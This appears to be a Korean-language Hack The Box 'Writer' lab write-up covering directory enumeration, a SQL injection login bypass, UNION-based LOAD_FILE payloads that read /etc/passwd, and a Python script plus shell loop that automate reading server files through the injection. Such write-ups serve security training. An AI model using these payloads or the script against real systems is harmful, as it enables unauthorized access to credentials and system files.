HTB-Writer Write up

HTB-Writer Write up

in

Enumeration

image

image

gobuster를 사용하여 디렉토리 탐색 시 /administrative 페이지 발견

image

image

로그인 페이지에서 SQL injection 시도 시 admin 으로 접속 가능

image image

추측하기 에 SQL query는 아래와 같아 sql injection이 가능한거같다.

Select * from users where username = $USER and password = $PASSWORD

Foothold

sql inject이 가능하기에 union을 사용하여 파일 읽기가 가능

admin' union select 1,2,3,4,5,6 -- - &password=admin
admin' union select 1,LOAD_FILE("/etc/passwd"),3,4,5,6-- - &password=admin

image

image

LFI 공격을 하기위해 Python 스크립트 제작

1. requests를 사용하여 인자를 받는 스크립트 제작

image

2. regex를 사용하여 공격구문만 잘르기 (admin으로 시작, h3로 끝남)

image

3. files 디렉토리에 결과값을 저장하는 스크립트 작성

import requests
import sys
import re

regex = re.compile(r"admin(.*)</h3>", re.DOTALL)

data = { "uname" : f"admin' union select 1,LOAD_FILE(\"{sys.argv[1]}\"),3,4,5,6-- -", "password":"password" }

r = requests.post('http://10.10.11.101/administrative', data=data)

match = re.search(regex,r.text)

fname = sys.argv[1].replace("/","_")[1:]

if match.group(1) != 'None':
    with open ( 'files/' + fname, 'w') as f:
        f.write(match.group(1))

image

4. lfi 목록을 받아와 접속이 가능한 파일의 내용을 저장
lfi 리스트

for i in $(cat lfi.txt); do python3 req.py $i; done

image